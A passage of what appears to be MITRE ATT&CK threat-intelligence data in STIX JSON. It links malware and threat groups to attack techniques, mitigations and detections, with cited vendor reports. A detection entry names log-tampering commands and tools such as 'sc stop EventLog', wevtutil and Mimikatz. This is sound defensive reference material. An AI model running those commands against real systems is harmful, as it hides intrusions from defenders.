Storm)","relationship_type":"uses","source_ref":"malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b23ce54-a782-4af5-99bd-8bc59c2893b2","type":"relationship","created":"2020-10-01T02:14:18.100Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T02:14:18.100Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421","target_ref":"attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b253464-5a8b-4129-ab1b-ab888314f900","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.","source_name":"Talos Group123"}],"modified":"2019-09-09T19:12:32.573Z","description":"[APT37](https://attack.mitre.org/groups/G0067) identifies the victim username.(Citation: Talos Group123)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4b2668bf-31ee-4bee-a624-ab526124623b","created":"2022-03-03T16:36:21.289Z","x_mitre_version":"1.0","external_references":[{"source_name":"NCSC Cyclops Blink February 2022","url":"https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf","description":"NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) has maintained persistence by patching legitimate device firmware when it is downloaded, including that of WatchGuard devices.(Citation: NCSC Cyclops Blink February 2022)","modified":"2022-04-18T13:59:02.639Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--791481f8-e96a-41be-b089-a088763083d4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b2baed3-8e3c-4ab6-9b92-f147a9ab7d13","type":"relationship","created":"2020-06-29T00:47:26.915Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JPCert TSCookie March 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020."}],"modified":"2020-06-29T00:47:26.915Z","description":"[TSCookie](https://attack.mitre.org/software/S0436) has the ability to discover drive information on the infected host.(Citation: JPCert TSCookie March 2018)","relationship_type":"uses","source_ref":"malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4b2de33f-c8cf-48dc-aa6d-524460bb3e24","created":"2023-02-10T18:44:17.945Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T15:17:39.261Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) can send collected data in JSON format to its C2 server.(Citation: HP SVCReady Jun 2022) ","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b2fa1ed-6c4f-4974-a44e-beeadf3a887c","type":"relationship","created":"2020-05-21T21:31:34.298Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Pony April 2016","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/","description":"hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."}],"modified":"2020-06-15T16:51:22.160Z","description":"[Pony](https://attack.mitre.org/software/S0453) attachments have been delivered via compressed archive files. [Pony](https://attack.mitre.org/software/S0453) also obfuscates the memory flow by adding junk instructions when executing to make analysis more difficult.(Citation: Malwarebytes Pony April 2016)\t","relationship_type":"uses","source_ref":"malware--222ba512-32d9-49ac-aefd-50ce981ce2ce","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b310a47-e010-4984-afcb-52d9c8c7933a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye CARBANAK June 2017","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"}],"modified":"2020-03-27T20:18:34.065Z","description":"[Carbanak](https://attack.mitre.org/software/S0030) enables concurrent Remote Desktop Protocol (RDP) sessions.(Citation: FireEye CARBANAK June 2017)","relationship_type":"uses","source_ref":"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b314d34-1e53-46a4-a3b8-131a19b256d6","type":"relationship","created":"2019-06-05T17:05:57.768Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis njRAT June 2013","url":"https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf","description":"Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."}],"modified":"2019-06-24T18:57:11.312Z","description":"[njRAT](https://attack.mitre.org/software/S0385) can identify remote hosts on connected networks.(Citation: Fidelis njRAT June 2013)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4b3274fe-1960-4d1e-91d1-2091e467c45b","created":"2019-09-24T12:59:58.536Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.514Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) can capture screenshots.(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b32f8e0-ba08-45b5-bc9a-b394d99a5aba","type":"relationship","created":"2021-11-22T17:55:56.788Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-22T17:55:56.788Z","description":"(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4b366bf4-6ab9-46b6-8ee4-ff3ccd92a3a8","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cloudy Logs 2023","description":"Pany, D. & Hanley, C. (2023, May 3). Cloudy with a Chance of Bad Logs: Cloud Platform Log Configurations to Consider in Investigations. Retrieved October 16, 2023.","url":"https://www.mandiant.com/resources/blog/cloud-bad-log-configurations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:33:19.379Z","description":"Monitor for newly constructed logon behavior across cloud service management consoles.(Citation: Mandiant Cloudy Logs 2023) In AWS environments, look for the `ConsoleLogin` sign-in event. ","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--e49920b0-6c54-40c1-9571-73723653205f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b3685f7-194e-466e-82a0-f8f112b224c1","type":"relationship","created":"2020-02-18T16:39:06.469Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-26T21:29:18.780Z","description":"An adversary must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require. ","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b387706-db60-46d2-bba4-148571381e60","type":"relationship","created":"2021-06-30T19:54:33.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-30T19:54:33.079Z","description":"[Nebulae](https://attack.mitre.org/software/S0630) can use TCP in C2 communications.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b3f0b38-d4e2-49e8-a8f9-6a186c31967f","type":"relationship","created":"2019-01-30T17:43:28.261Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.","url":"https://securelist.com/darkhotels-attacks-in-2015/71713/","source_name":"Securelist Darkhotel Aug 2015"},{"source_name":"Microsoft DUBNIUM July 2016","url":"https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/","description":"Microsoft. (2016, July 14). Reverse engineering DUBNIUM – Stage 2 payload analysis . Retrieved March 31, 2021."}],"modified":"2021-04-22T14:35:25.543Z","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) has decrypted strings and imports using RC4 during execution.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM July 2016)","relationship_type":"uses","source_ref":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b3f85b7-a7a4-446f-a3cb-d922268ee879","type":"relationship","created":"2020-05-08T18:41:16.342Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Inception Framework March 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies","description":"Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."}],"modified":"2020-05-08T20:02:19.454Z","description":"[Inception](https://attack.mitre.org/groups/G0100) has used a reconnaissance module to gather information about the operating system and hardware on the infected host.(Citation: Symantec Inception Framework March 2018)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b45b720-a606-4c52-a28a-2ef298f9b42f","type":"relationship","created":"2017-05-31T21:33:27.071Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","source_name":"FireEye FIN6 April 2016"}],"modified":"2020-10-08T14:44:54.343Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has used Registry Run keys to establish persistence for its downloader tools known as HARDTACK and SHIPBREAD.(Citation: FireEye FIN6 April 2016)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b4ac061-dee5-44f3-b0f5-021889eae45e","type":"relationship","created":"2019-03-15T13:45:43.244Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.","url":"https://www.symantec.com/connect/blogs/shamoon-attacks","source_name":"Symantec Shamoon 2012"},{"url":"https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html","description":"FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.","source_name":"FireEye Shamoon Nov 2016"},{"url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","source_name":"Palo Alto Shamoon Nov 2016"},{"description":"Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.","url":"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/","source_name":"Unit 42 Shamoon3 2018"},{"source_name":"McAfee Shamoon December 2018","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/","description":"Mundo, A., Roccia, T., Saavedra-Morales, J., Beek, C.. (2018, December 14). Shamoon Returns to Wipe Systems in Middle East, Europe . Retrieved May 29, 2020."}],"modified":"2020-05-29T18:11:24.435Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) attempts to overwrite operating system files and disk structures with image files.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016) In a later variant, randomly generated data was used for data overwrites.(Citation: Unit 42 Shamoon3 2018)(Citation: McAfee Shamoon December 2018)","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4b4ccf27-d9e2-4cd9-b783-e8cdf354e6dc","created":"2022-08-31T16:21:29.106Z","x_mitre_version":"0.1","external_references":[{"source_name":"Zscaler Lyceum DnsSystem June 2022","url":"https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor","description":"Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Zscaler Lyceum DnsSystem June 2022)","modified":"2022-08-31T16:21:29.106Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"malware--8a2867f9-e8fc-4bf1-a860-ef6e46311900","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b4d8f9e-a416-4af6-9c20-582892601668","type":"relationship","created":"2019-06-13T16:47:56.005Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-13T21:36:05.235Z","description":"Modify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4b4fadc1-a402-4d56-9e4f-8c76b03def23","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"def_ev_win_event_logging","description":"Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.","url":"https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/"},{"source_name":"disable_win_evt_logging","description":"Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.","url":"https://ptylu.github.io/content/report/report.html?report=25"},{"source_name":"evt_log_tampering","description":"svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting the EventLog Service. Retrieved September 14, 2021.","url":"https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T23:39:12.351Z","description":"Monitor executed commands and arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), auditpol, `sc stop EventLog`, reg add, Set- or Stop-Service, Set- or New-ItemProperty, sc config, \nand offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and Invoke-Phant0m) may be used to clear logs and/or change the EventLog/audit policy.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering)(Citation: disable_win_evt_logging) ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b521c7b-c66b-4bbc-847e-d6a13e9ae62c","type":"relationship","created":"2017-05-31T21:33:27.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","source_name":"Baumgartner Naikon 2015"}],"modified":"2019-04-10T15:59:09.269Z","description":"(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b5540e5-eac1-40f4-93d0-155f60e9395a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lotus Blossom Dec 2015","description":"Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/"}],"modified":"2020-03-16T15:50:20.159Z","description":"The C2 server response to a beacon sent by a variant of [Emissary](https://attack.mitre.org/software/S0082) contains a 36-character GUID value that is used as an encryption key for subsequent network communications. Some variants of [Emissary](https://attack.mitre.org/software/S0082) use various XOR operations to encrypt C2 data.(Citation: Lotus Blossom Dec 2015)","relationship_type":"uses","source_ref":"malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b569311-24d2-439d-badb-a5076955cda3","type":"relationship","created":"2020-06-02T19:36:48.172Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 CARROTBAT January 2020","url":"https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/","description":"McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."}],"modified":"2020-06-02T19:36:48.172Z","description":"[CARROTBALL](https://attack.mitre.org/software/S0465) has the ability to use FTP in C2 communications.(Citation: Unit 42 CARROTBAT January 2020)","relationship_type":"uses","source_ref":"tool--5fc81b43-62b5-41b1-9113-c79ae5f030c4","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b5948b4-eba5-4af6-93d1-71b109167f62","type":"relationship","created":"2019-10-08T19:55:33.729Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T12:37:53.005Z","description":"Administrators should audit all cloud and container accounts to ensure that they are necessary and that the permissions granted to them are appropriate. Additionally, administrators should perform an audit of all OAuth applications and the permissions they have been granted to access organizational data. This should be done extensively on all applications in order to establish a baseline, followed up on with periodic audits of new or updated applications. Suspicious applications should be investigated and removed.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4b5e4576-b6d0-42dd-a922-537c5c45aa5b","created":"2024-09-25T13:44:36.080Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T13:44:36.080Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--718cb208-6446-4572-a2f0-9c799c60091e","target_ref":"attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b5e4611-ed5c-4223-bc75-5e272090b887","type":"relationship","created":"2020-02-12T14:37:27.500Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx","description":"Microsoft. (n.d.). Configure Timeout and Reconnection Settings for Remote Desktop Services Sessions. Retrieved December 11, 2017.","source_name":"Windows RDP Sessions"}],"modified":"2022-03-28T16:07:44.881Z","description":"Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server.(Citation: Windows RDP Sessions)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b5e8e16-ddf4-4339-859b-f70f980d612b","type":"relationship","created":"2019-07-18T17:11:15.628Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-23T18:18:43.358Z","description":"Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4b66eefd-8731-4c36-bee3-88e87c9f41d3","created":"2022-05-27T13:23:37.573Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Power Automate Email Exfiltration Controls","description":"Microsoft. (2022, February 15). Email exfiltration controls for connectors. Retrieved May 27, 